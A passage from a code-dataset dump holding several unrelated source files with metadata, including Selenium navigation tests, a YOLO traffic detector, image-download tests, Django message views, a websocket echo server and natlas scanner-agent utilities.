subsection, name):\n frontend.navigate.go_to_module(section, subsection, checking_time=True)\n frontend.navigate.opened_module_with_url(name)\n\n # Scenario 2 #######################################################################################################\n @pytest.allure.story(\"\"\"Section Documents\"\"\")\n @pytest.mark.navigate_2\n @pytest.mark.case_2\n @pytest.mark.parametrize(\n ('section', 'subsection', 'name'),\n [\n ('Склад', 'Приходные накладные', 'warehouse.documents.incoming'),\n ('Склад', 'Расходные накладные', 'warehouse.documents.outgoing'),\n ('Склад', 'Внутренние перемещения', 'warehouse.documents.exchange'),\n ('Склад', 'Акты списания', 'warehouse.documents.discard'),\n ('Склад', 'Акты приготовления', 'warehouse.documents.cooking'),\n ('Склад', 'Акты разбора', 'warehouse.documents.decomposition'),\n ('Склад', 'Акты переработки', 'warehouse.documents.processing'),\n ('Склад', 'Акты инвентаризации', 'warehouse.inventory.document')\n ]\n )\n def test_case_selenium_smoke_navigate_2(self, frontend, section, subsection, name):\n frontend.navigate.go_to_module(section, subsection, checking_time=True)\n frontend.navigate.opened_module_with_url(name)\n\n # Scenario 3 #######################################################################################################\n @pytest.allure.story(\"\"\"Section Core Dictionaries\"\"\")\n @pytest.mark.navigate_3\n @pytest.mark.case_3\n @pytest.mark.parametrize(\n ('section', 'subsection', 'name', 'tmp'),\n [\n ('Справочники', 'Единицы измерения', 'core.dictionaries.measureunits', 'Единицы измерения'),\n ('Справочники', 'Тэги', 'core.dictionaries.storeitemtag', 'Тэги'),\n ('Справочники', 'Контрагенты', 'warehouse.providers', 'Контрагенты'),\n ('Справочники', 'Причины списания', 'core.dictionaries.orderdiscardreasons', 'Причины отмены заказа'),\n ('Справочники', 'Типы оплат', 'core.dictionaries.paymenttypes', 'Типы оплат'),\n ('Справочники', 'Фасовки', 'core.dictionaries.packingunits', 'Фасовки товаров')\n ]\n )\n def test_case_selenium_smoke_navigate_3(self, frontend, section, subsection, name, tmp):\n frontend.navigate.go_to_module(section, subsection, checking_time=True)\n frontend.navigate.opened_module_with_url(name)\n\n # Scenario 4 #######################################################################################################\n @pytest.allure.story(\"\"\"Section Personnel\"\"\")\n @pytest.mark.navigate_4\n @pytest.mark.case_4\n @pytest.mark.parametrize(\n ('section', 'subsection', 'name'),\n [\n ('Персонал', 'Сотрудники', 'personnel.employee'),\n ('Персонал', 'Должности', 'users.role')\n ]\n )\n def test_case_selenium_smoke_navigate_4(self, frontend, section, subsection, name):\n frontend.navigate.go_to_module(section, subsection, checking_time=True)\n frontend.navigate.opened_module_with_url(name)\n\n # Scenario 5 #######################################################################################################\n @pytest.allure.story(\"\"\"Section CRM\"\"\")\n @pytest.mark.navigate_5\n @pytest.mark.case_5\n @pytest.mark.parametrize(\n ('section', 'subsection', 'name', 'tmp'),\n [\n ('CRM', 'Клиенты', 'crm.customer', 'Клиенты CRM'),\n ('CRM', 'Группы клиентов', 'crm.customer.group', 'Группы клиентов CRM'),\n ('CRM', 'Фиксированные скидки', 'crm.settings.fixed', 'Фиксированные скидки'),\n ('CRM', 'Скидки по расписанию', 'crm.settings.scheduled', 'Скидки по расписанию'),\n ('CRM', 'Типы бонусных счетов', 'crm.accounting.account.type', 'Типы бонусных счетов'),\n ('CRM', 'Бонусные программы', 'crm.settings.bonus', 'Бонусные программы'),\n ('CRM', 'Надбавки', 'crm.settings.markup', 'Надбавки')\n ]\n )\n def test_case_selenium_smoke_navigate_5(self, frontend, section, subsection, name, tmp):\n frontend.navigate.go_to_module(section, subsection, checking_time=True)\n frontend.navigate.opened_module_with_url(name)\n\n # Scenario 6 #######################################################################################################\n @pytest.allure.story(\"\"\"Section Company\"\"\")\n @pytest.mark.navigate_6\n @pytest.mark.case_6\n @pytest.mark.parametrize(\n ('section', 'subsection', 'name'),\n [\n ('Предприятие', 'Настройки', 'core.company'),\n ('Предприятие', 'Организации', 'core.company.businesses'),\n ('Предприятие', 'Склады', 'warehouse.store'),\n ('Предприятие', 'Места приготовления', 'warehouse.nomenclature.cooking_place'),\n ('Предприятие', 'Места реализации', 'warehouse.nomenclature.sale_place'),\n ('Предприятие', 'Заведения', 'front.tablemanagement')\n ]\n )\n def test_case_selenium_smoke_navigate_6(self, frontend, section, subsection, name):\n frontend.navigate.go_to_module(section, subsection, checking_time=True)\n frontend.navigate.opened_module_with_url(name)\n\n # Scenario 7 #######################################################################################################\n @pytest.allure.story(\"\"\"Section Devices\"\"\")\n @pytest.mark.navigate_7\n @pytest.mark.case_7\n @pytest.mark.parametrize(\n ('section', 'subsection', 'name'),\n [\n ('Устройства', 'Фискальные регистраторы', 'front.terminals.kkm'),\n ('Устройства', 'Банковские терминалы', 'front.terminals.pos'),\n ('Устройства', 'Принтеры', 'front.terminals.ticketdevices'),\n ('Устройства', 'QR Box', 'front.terminals.raspberry')\n\n ]\n )\n def test_case_selenium_smoke_navigate_7(self, frontend, section, subsection, name):\n frontend.navigate.go_to_module(section, subsection, checking_time=True)\n frontend.navigate.opened_module_with_url(name)\n\n# # Scenario 11 ######################################################################################################\n# @pytest.allure.story(\"\"\"Проверка даты и названия\"\"\")\n# @pytest.mark.navigate_11\n# @pytest.mark.case_11\n# def test_case_selenium_smoke_navigate_11(self, frontend, rest_api, psql, couchdb, background):\n# pass\n", "sub_path": "scenarios/selenium/single/test_selenium_smoke_navigate.py", "file_name": "test_selenium_smoke_navigate.py", "file_ext": "py", "file_size_in_byte": 9491, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pytest.fixture", "line_number": 11, "usage_type": "call"}, {"api_name": "pytest.allure.step", "line_number": 12, "usage_type": "call"}, {"api_name": "pytest.allure", "line_number": 12, "usage_type": "attribute"}, {"api_name": "pytest.allure.story", "line_number": 17, "usage_type": "call"}, {"api_name": "pytest.allure", "line_number": 17, "usage_type": "attribute"}, {"api_name": "pytest.mark", "line_number": 18, "usage_type": "attribute"}, {"api_name": "pytest.mark", "line_number": 19, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 20, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 20, "usage_type": "attribute"}, {"api_name": "pytest.allure.story", "line_number": 34, "usage_type": "call"}, {"api_name": "pytest.allure", "line_number": 34, "usage_type": "attribute"}, {"api_name": "pytest.mark", "line_number": 35, "usage_type": "attribute"}, {"api_name": "pytest.mark", "line_number": 36, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 37, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 37, "usage_type": "attribute"}, {"api_name": "pytest.allure.story", "line_number": 53, "usage_type": "call"}, {"api_name": "pytest.allure", "line_number": 53, "usage_type": "attribute"}, {"api_name": "pytest.mark", "line_number": 54, "usage_type": "attribute"}, {"api_name": "pytest.mark", "line_number": 55, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 56, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 56, "usage_type": "attribute"}, {"api_name": "pytest.allure.story", "line_number": 74, "usage_type": "call"}, {"api_name": "pytest.allure", "line_number": 74, "usage_type": "attribute"}, {"api_name": "pytest.mark", "line_number": 75, "usage_type": "attribute"}, {"api_name": "pytest.mark", "line_number": 76, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 77, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 77, "usage_type": "attribute"}, {"api_name": "pytest.allure.story", "line_number": 93, "usage_type": "call"}, {"api_name": "pytest.allure", "line_number": 93, "usage_type": "attribute"}, {"api_name": "pytest.mark", "line_number": 94, "usage_type": "attribute"}, {"api_name": "pytest.mark", "line_number": 95, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 96, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 96, "usage_type": "attribute"}, {"api_name": "pytest.allure.story", "line_number": 108, "usage_type": "call"}, {"api_name": "pytest.allure", "line_number": 108, "usage_type": "attribute"}, {"api_name": "pytest.mark", "line_number": 109, "usage_type": "attribute"}, {"api_name": "pytest.mark", "line_number": 110, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 111, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 111, "usage_type": "attribute"}, {"api_name": "pytest.allure.story", "line_number": 128, "usage_type": "call"}, {"api_name": "pytest.allure", "line_number": 128, "usage_type": "attribute"}, {"api_name": "pytest.mark", "line_number": 129, "usage_type": "attribute"}, {"api_name": "pytest.mark", "line_number": 130, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 131, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 131, "usage_type": "attribute"}, {"api_name": "pytest.allure.story", "line_number": 147, "usage_type": "call"}, {"api_name": "pytest.allure", "line_number": 147, "usage_type": "attribute"}, {"api_name": "pytest.mark", "line_number": 148, "usage_type": "attribute"}, {"api_name": "pytest.mark", "line_number": 149, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 150, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 150, "usage_type": "attribute"}, {"api_name": "pytest.allure", "line_number": 4, "usage_type": "attribute"}, {"api_name": "pytest.allure.feature", "line_number": 5, "usage_type": "call"}, {"api_name": "pytest.allure", "line_number": 5, "usage_type": "attribute"}, {"api_name": "pytest.mark", "line_number": 6, "usage_type": "attribute"}, {"api_name": "pytest.mark", "line_number": 7, "usage_type": "attribute"}, {"api_name": "pytest.mark", "line_number": 8, "usage_type": "attribute"}]} {"seq_id": "338482775", "text": "from yolotr.models import Darknet\r\nfrom yolotr.utils.datasets import *\r\nfrom yolotr.utils.utils import *\r\nimport torch\r\nimport os \r\n\r\ncurrent_path = os.path.dirname(__file__)\r\n\r\nclass TrafficDetector:\r\n def __init__(self,\r\n img_size=640, \r\n cfg_file=\"yolov4-tiny.cfg\", \r\n weights_file=\"yolov4-tiny.pt\", \r\n names_file=\"coco.names\"):\r\n self.img_size = img_size\r\n self.cfg = os.path.join(current_path, F\"cfg/{cfg_file}\")\r\n self.weights = os.path.join(current_path, F\"cfg/{weights_file}\")\r\n self.names = os.path.join(current_path, F\"cfg/{names_file}\")\r\n # 构建模型\r\n self.model = Darknet(self.cfg, self.img_size)\r\n # 加载预训练模型\r\n self.model.load_state_dict(torch.load(self.weights)['model'])\r\n self.CUDA = torch.cuda.is_available()\r\n if self.CUDA:\r\n self.model.cuda()\r\n # 因为模型中使用了BatchNorm，Dropout等操作，预测的时候需要调用eval屏蔽\r\n self.model.eval()\r\n # ------------ 识别类型名\r\n # 加载类别\r\n self.names = load_classes(self.names)\r\n \r\n def detect(self, img0):\r\n img = self.format_img(img0)\r\n if self.CUDA:\r\n img = img.cuda()\r\n # 计算侦测结果\r\n pred = self.model(img, augment=False)[0]\r\n pred = pred.cpu()\r\n # 进行最大化抑制\r\n pred = non_max_suppression(pred, 0.3, 0.2, merge=False, classes=None, agnostic=False)\r\n # 解析识别结果\r\n for det in pred:\r\n if det is not None and len(det):\r\n det[:, :4] = scale_coords(img.shape[2:], det[:, :4], img0.shape).round()\r\n if pred[0] is not None: \r\n return pred[0].cpu().detach().numpy() # 总长6：目标位置与大小（0:3），目标概率(4)，目标类别[5]\r\n else:\r\n return None\r\n \r\n def detect_mark(self, img0):\r\n # 侦测\r\n pred = self.detect(img0)\r\n # 标注\r\n if pred is not None:\r\n # 循环标注\r\n for result in pred:\r\n x1, y1, x2, y2 = result[0:4]\r\n prob = result[4]\r\n clss = int( result[5])\r\n cls_name = self.get_name(clss)\r\n # print([x1, y1, x2, y2], prob, clss, cls_name)\r\n # 备注：这里可以做一个概率阈值过滤（登录成功，可以考虑使用计数规则）\r\n # 标注\r\n img0 = cv2.rectangle(img0, (x1,y1),(x2,y2), color=(0, 0, 255), thickness=2)\r\n \r\n return img0, pred\r\n\r\n def get_name(self, idx):\r\n return self.names[idx]\r\n\r\n def format_img(self, img0):\r\n img = letterbox(img0, new_shape=self.img_size)[0]\r\n img = img[:, :, ::-1].transpose(2, 0, 1) # BGR to RGB\r\n img = np.ascontiguousarray(img)\r\n img = torch.from_numpy(img)\r\n img = img.float()\r\n img /= 255.0 # 0 - 255 to 0.0 - 1.0\r\n if img.ndimension() == 3:\r\n img = img.unsqueeze(0)\r\n return img\r\n \r\n def load_image(self, img_file):\r\n img0 = cv2.imread(img_file) # BGR\r\n return img0", "sub_path": "Proj/.history/yolotr/detector_20201030033711.py", "file_name": "detector_20201030033711.py", "file_ext": "py", "file_size_in_byte": 3215, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.path.dirname", "line_number": 7, "usage_type": "call"}, {"api_name": "os.path", "line_number": 7, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path", "line_number": 16, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path", "line_number": 17, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path", "line_number": 18, "usage_type": "attribute"}, {"api_name": "yolotr.models.Darknet", "line_number": 20, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 22, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 23, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 23, "usage_type": "attribute"}, {"api_name": "torch.from_numpy", "line_number": 75, "usage_type": "call"}]} {"seq_id": "588816332", "text": "import pickle\n\nfrom moviepy.editor import *\nfrom moviepy.video.tools.tracking import manual_tracking, Trajectory\n\nclip = VideoFileClip(\"input/Gorod_2.mp4\")\n\nif __name__ == \"__main__\":\n start_frame = 3\n end_frame = 14\n trjectories_count = 1\n trajectories = manual_tracking(\n clip,\n t1=start_frame,\n t2=end_frame,\n nobjects=trjectories_count,\n fps=3,\n savefile=\"gorod_track\"\n )\n", "sub_path": "record.py", "file_name": "record.py", "file_ext": "py", "file_size_in_byte": 433, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "moviepy.video.tools.tracking.manual_tracking", "line_number": 12, "usage_type": "call"}]} {"seq_id": "525680340", "text": "# Copyright 2021 CDPedistas (see AUTHORS.txt)\n#\n# This program is free software: you can redistribute it and/or modify it\n# under the terms of the GNU General Public License version 3, as published\n# by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful, but\n# WITHOUT ANY WARRANTY; without even the implied warranties of\n# MERCHANTABILITY, SATISFACTORY QUALITY, or FITNESS FOR A PARTICULAR\n# PURPOSE. See the GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License along\n# with this program. If not, see <http://www.gnu.org/licenses/>.\n#\n# For further info, check https://github.com/PyAr/CDPedia/\n\nimport shutil\nfrom unittest.mock import patch\n\nimport pytest\nfrom PIL import Image\n\nfrom src.images.download import optimize_png, download, FetchingError, optimize_image\n\n\n@pytest.fixture\ndef image_config(tmp_path):\n def f(name):\n img_test_name = 'tests/fixtures/image_to_optimize.png'\n test_path = tmp_path / name\n shutil.copy(img_test_name, str(test_path))\n init_size = test_path.stat().st_size\n return test_path, init_size\n yield f\n\n\n@pytest.mark.parametrize('filename', [\n 'image.png', # simple\n 'Image.PNG', # uppercase\n 'moño.png', # unicode\n 'the image.png', # spaces\n])\ndef test_pngquant_optimize_ok(image_config, filename):\n img_path, init_size = image_config(filename)\n optimize_png(str(img_path), init_size, init_size)\n final_size = img_path.stat().st_size\n assert init_size > final_size\n\n\ndef test_pngquant_optimize_problem(tmp_path, logs):\n # create something that pngquant will not understand\n img_path = tmp_path / 'weird.png'\n weird_content = \"this is not really a png\"\n img_path.write_text(weird_content)\n\n # it should not crash, and leave the original content untouched\n optimize_png(str(img_path), 23, 23)\n assert img_path.read_text() == weird_content\n assert \"pngquant failed with 25 on '{}'\".format(img_path) in logs.debug\n\n\ndef test_download_ok(tmp_path):\n test_path = tmp_path / 'foo' / 'bar' / 'baz.png'\n\n with patch('src.images.download.optimize_image') as _optimize_mock:\n with patch('src.images.download._download') as _download_mock:\n # real download will be ok, no need to patch RETRIES\n _download_mock.return_value = None\n\n download(('test-url', str(test_path)))\n\n # check directory were prepared ok\n assert test_path.parent.exists()\n\n # download and optimization was called ok\n _download_mock.assert_called_once_with('test-url', str(test_path))\n _optimize_mock.assert_called_once_with(str(test_path))\n\n\n@pytest.mark.parametrize('extension', [\n '.svg',\n '.gif',\n '.Svg',\n '.Gif',\n '.SVG',\n '.GIF',\n])\ndef test_download_no_optimization(extension, tmp_path):\n test_path = tmp_path / 'foo' / 'bar' / ('baz.' + extension)\n\n with patch('src.images.download.optimize_image') as _optimize_mock:\n with patch('src.images.download._download') as _download_mock:\n # real download will be ok, no need to patch RETRIES\n _download_mock.return_value = None\n\n download(('test-url', str(test_path)))\n\n # optimization was NOT called\n _optimize_mock.assert_not_called()\n\n\ndef test_download_retry_ok(tmp_path):\n test_path = tmp_path / 'foo' / 'bar' / 'baz.png'\n\n with patch('src.images.download.optimize_image'):\n with patch('src.images.download._download') as _download_mock:\n with patch('src.images.download.RETRIES', [0]):\n # first time ends with error, second ok\n _download_mock.side_effect = [\n ValueError('pumba'),\n None,\n ]\n download(('test-url', str(test_path)))\n\n # check directory were prepared ok\n assert test_path.parent.exists()\n\n # download was called twice\n assert _download_mock.call_count == 2\n\n\ndef test_download_problems(tmp_path):\n test_path = tmp_path / 'foo' / 'bar' / 'baz.png'\n\n with patch('src.images.download.optimize_image'):\n with patch('src.images.download._download') as _download_mock:\n with patch('src.images.download.RETRIES', [0]):\n # always in error\n _download_mock.side_effect = [\n ValueError('pumba'),\n ValueError('pumba'),\n ]\n with pytest.raises(FetchingError):\n download(('test-url', str(test_path)))\n\n # check directory were prepared ok\n assert test_path.parent.exists()\n\n # download was called twice\n assert _download_mock.call_count == 2\n\n\ndef test_optimize_pil_error_unidentified(tmp_path, logs):\n tmp_image = tmp_path / \"foo.png\"\n tmp_image.write_text(\"not really a PNG, this will cause PIL to crash on open\")\n\n optimize_image(str(tmp_image))\n msg = \"PIL UnidentifiedImageError: cannot identify image file '.*/foo.png'\"\n assert msg in logs.debug\n\n\ndef test_optimize_pil_error_generic(tmp_path, logs):\n tmp_image = tmp_path / \"foo.png\"\n tmp_image.write_text(\"stuff\")\n with patch.object(Image, 'open') as mock:\n mock.side_effect = ValueError(\"pumba\")\n optimize_image(str(tmp_image))\n msg = r\"PIL optimization failed: ValueError\\('pumba'.*\\) when processing '.*foo.png'\"\n assert msg in logs.debug\n", "sub_path": "tests/test_images_download.py", "file_name": "test_images_download.py", "file_ext": "py", "file_size_in_byte": 5411, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "shutil.copy", "line_number": 31, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 26, "usage_type": "attribute"}, {"api_name": "src.images.download.optimize_png", "line_number": 45, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 37, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 37, "usage_type": "attribute"}, {"api_name": "src.images.download.optimize_png", "line_number": 57, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 65, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 66, "usage_type": "call"}, {"api_name": "src.images.download.download", "line_number": 70, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 91, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 92, "usage_type": "call"}, {"api_name": "src.images.download.download", "line_number": 96, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 80, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 80, "usage_type": "attribute"}, {"api_name": "unittest.mock.patch", "line_number": 105, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 106, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 107, "usage_type": "call"}, {"api_name": "src.images.download.download", "line_number": 113, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 125, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 126, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 127, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 133, "usage_type": "call"}, {"api_name": "src.images.download.FetchingError", "line_number": 133, "usage_type": "argument"}, {"api_name": "src.images.download.download", "line_number": 134, "usage_type": "call"}, {"api_name": "src.images.download.optimize_image", "line_number": 147, "usage_type": "call"}, {"api_name": "unittest.mock.patch.object", "line_number": 155, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 155, "usage_type": "argument"}, {"api_name": "unittest.mock.patch", "line_number": 155, "usage_type": "name"}, {"api_name": "src.images.download.optimize_image", "line_number": 157, "usage_type": "call"}]} {"seq_id": "91205597", "text": "from django.contrib import messages\nfrom django.shortcuts import redirect, render\nimport bcrypt\nfrom .decorators import login_required\nfrom .models import *\nfrom datetime import datetime, time, timedelta\nfrom django.utils import timezone\nimport re\n\n@login_required\ndef index(request):\n context = {\n 'mensajes': Mensaje.objects.all(),\n 'comentarios': Comentario.objects.all(),\n }\n return render(request, 'index.html', context)\n\n@login_required\ndef mensaje_crear(request):\n print(request.POST)\n\n errors= Mensaje.objects.validador_basico_mensaje(request.POST)\n print(errors)\n if len(errors) > 0:\n for key, value in errors.items():\n messages.error(request, value)\n return redirect(\"/\")\n else:\n mensaje_creado = request.POST['mensaje']\n user_id_creador = request.session['usuario']['id']\n\n mensaje = Mensaje.objects.create(\n mensaje = mensaje_creado, \n user = User.objects.get(id = user_id_creador),\n )\n messages.success(request, \"Mensaje agregado correctamente\")\n return redirect(f\"/\")\n\ndef calculate_minutos(fecha):\n today = timezone.now()\n print(today, \"today\")\n print(fecha, \"fecha\")\n print(\"años\", (today.year - fecha.year), (today.year - fecha.year)*365*24*60)\n print(\"meses\", (today.month - fecha.month), (today.month - fecha.month)*30*24*60)\n print(\"dias\", (today.day - fecha.day), (today.day - fecha.day)*24*60)\n print(\"horas\", (today.hour-fecha.hour), (today.hour-fecha.hour)*60)\n print(\"minutos\", (today.minute-fecha.minute))\n resultado = (today.year - fecha.year)*365*24*60 + (today.month - fecha.month)*30*24*60 + (today.day - fecha.day)*24*60 + (today.hour-fecha.hour)*60 + (today.minute-fecha.minute)\n print(resultado)\n return resultado\n\n\n@login_required\ndef mensaje_borrar(request, val):\n errors = {}\n print(request.GET, 'Entró a borrar mensaje')\n borr = Mensaje.objects.get(id = val)\n print(\"Aqui se va a borrar el mensaje ID=\", val)\n calc = calculate_minutos(borr.created_at)\n if calc > 30:\n messages.warning(request, \"No se borró el mensaje. Tiempo expirado máximo 30 min\")\n else: \n print(\"Autorizado para borrar el mensaje\")\n messages.success(request, \"Mensaje borrado exitosamente\")\n borr.delete()\n return redirect(\"/\")\n\n@login_required\ndef comentario_crear(request):\n print(request.POST)\n\n errors= Comentario.objects.validador_basico_comentario(request.POST)\n print(errors)\n if len(errors) > 0:\n for key, value in errors.items():\n messages.error(request, value)\n return redirect(\"/\")\n else:\n comentario_creado = request.POST['comentario']\n id_mensaje = request.POST['id_mensaje_comentario']\n comentario_user_id = request.session['usuario']['id']\n\n comentario = Comentario.objects.create(\n comentario = comentario_creado, \n user = User.objects.get(id=comentario_user_id),\n mensaje = Mensaje.objects.get(id=id_mensaje),\n )\n messages.success(request, \"Comentario agregado correctamente\")\n return redirect(f\"/\")\n\n@login_required\ndef comentario_borrar(request, val):\n print(request.GET)\n borr = Comentario.objects.get(id = val)\n print(\"Aqui se va a borrar el comentario ID=\", val)\n calc = calculate_minutos(borr.created_at)\n if calc > 30:\n messages.warning(request, \"No se borró el comentario. Tiempo expirado máximo 30 min\")\n else: \n print(\"Autorizado para borrar el comentario\")\n messages.success(request, \"Comentario borrado exitosamente\")\n borr.delete()\n return redirect(\"/\")\n", "sub_path": "app/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 3681, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.shortcuts.render", "line_number": 16, "usage_type": "call"}, {"api_name": "decorators.login_required", "line_number": 10, "usage_type": "name"}, {"api_name": "django.contrib.messages.error", "line_number": 26, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 26, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 27, "usage_type": "call"}, {"api_name": "django.contrib.messages.success", "line_number": 36, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 36, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 37, "usage_type": "call"}, {"api_name": "decorators.login_required", "line_number": 18, "usage_type": "name"}, {"api_name": "django.utils.timezone.now", "line_number": 40, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 40, "usage_type": "name"}, {"api_name": "django.contrib.messages.warning", "line_number": 61, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 61, "usage_type": "name"}, {"api_name": "django.contrib.messages.success", "line_number": 64, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 64, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 66, "usage_type": "call"}, {"api_name": "decorators.login_required", "line_number": 53, "usage_type": "name"}, {"api_name": "django.contrib.messages.error", "line_number": 76, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 76, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 77, "usage_type": "call"}, {"api_name": "django.contrib.messages.success", "line_number": 88, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 88, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 89, "usage_type": "call"}, {"api_name": "decorators.login_required", "line_number": 68, "usage_type": "name"}, {"api_name": "django.contrib.messages.warning", "line_number": 98, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 98, "usage_type": "name"}, {"api_name": "django.contrib.messages.success", "line_number": 101, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 101, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 103, "usage_type": "call"}, {"api_name": "decorators.login_required", "line_number": 91, "usage_type": "name"}]} {"seq_id": "115544251", "text": "#!/usr/bin/env python\n\n# WS server example\n\nimport asyncio\nimport os\nimport websockets\n\n\nasync def echo(websocket, path):\n while True:\n msg = await websocket.recv()\n print(f'Received {len(msg)} bytes')\n await websocket.send(msg)\n\nhost = os.getenv('BIND_HOST', 'localhost')\nprint(f'Serving on {host}:8766')\n\nstart_server = websockets.serve(echo, host, 8766, max_size=2 ** 30)\n\nasyncio.get_event_loop().run_until_complete(start_server)\nasyncio.get_event_loop().run_forever()\n", "sub_path": "test/compatibility/python/websockets/echo_server_serve_once.py", "file_name": "echo_server_serve_once.py", "file_ext": "py", "file_size_in_byte": 497, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.getenv", "line_number": 16, "usage_type": "call"}, {"api_name": "websockets.serve", "line_number": 19, "usage_type": "call"}, {"api_name": "asyncio.get_event_loop", "line_number": 21, "usage_type": "call"}, {"api_name": "asyncio.get_event_loop", "line_number": 22, "usage_type": "call"}]} {"seq_id": "392378801", "text": "import ipaddress\nimport string\nimport random\nimport os\nimport shutil\nimport glob\n\nimport natlaslogging\n\n\n\nSCAN_ID_LENGTH = 16\n\nutillogger = natlaslogging.getLogger(\"Utilities\")\n\n\ndef validate_target(target, config):\n\ttry:\n\t\tiptarget = ipaddress.ip_address(target)\n\t\tif iptarget.is_private and not config.scan_local:\n\t\t\tutillogger.error(\"We're not configured to scan local addresses!\")\n\t\t\treturn False\n\texcept ipaddress.AddressValueError:\n\t\tutillogger.error(\"%s is not a valid IP Address\" % target)\n\t\treturn False\n\treturn True\n\ndef generate_scan_id():\n\treturn ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(SCAN_ID_LENGTH))\n\ndef cleanup_files(scan_id):\n\tutillogger.info(\"Cleaning up files for %s\" % scan_id)\n\tif os.path.isdir(\"data/aquatone.%s\" % scan_id):\n\t\tshutil.rmtree(\"data/aquatone.%s\" % scan_id)\n\tfor file in glob.glob(\"data/natlas.\"+scan_id+\".*\"):\n\t\ttry:\n\t\t\tos.remove(file)\n\t\texcept Exception:\n\t\t\tutillogger.error(\"Could not remove file %s\" % file)", "sub_path": "natlas-agent/natlasutils.py", "file_name": "natlasutils.py", "file_ext": "py", "file_size_in_byte": 985, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "natlaslogging.getLogger", "line_number": 14, "usage_type": "call"}, {"api_name": "ipaddress.ip_address", "line_number": 19, "usage_type": "call"}, {"api_name": "ipaddress.AddressValueError", "line_number": 23, "usage_type": "attribute"}, {"api_name": "random.choice", "line_number": 29, "usage_type": "call"}, {"api_name": "string.ascii_lowercase", "line_number": 29, "usage_type": "attribute"}, {"api_name": "string.digits", "line_number": 29, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 33, "usage_type": "call"}, {"api_name": "os.path", "line_number": 33, "usage_type": "attribute"}, {"api_name": "shutil.rmtree", "line_number": 34, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 35, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 37, "usage_type": "call"}]} {"seq_id": "168356642", "text": "# Copyright (c) 2015 SUSE Linux GmbH. All rights reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" 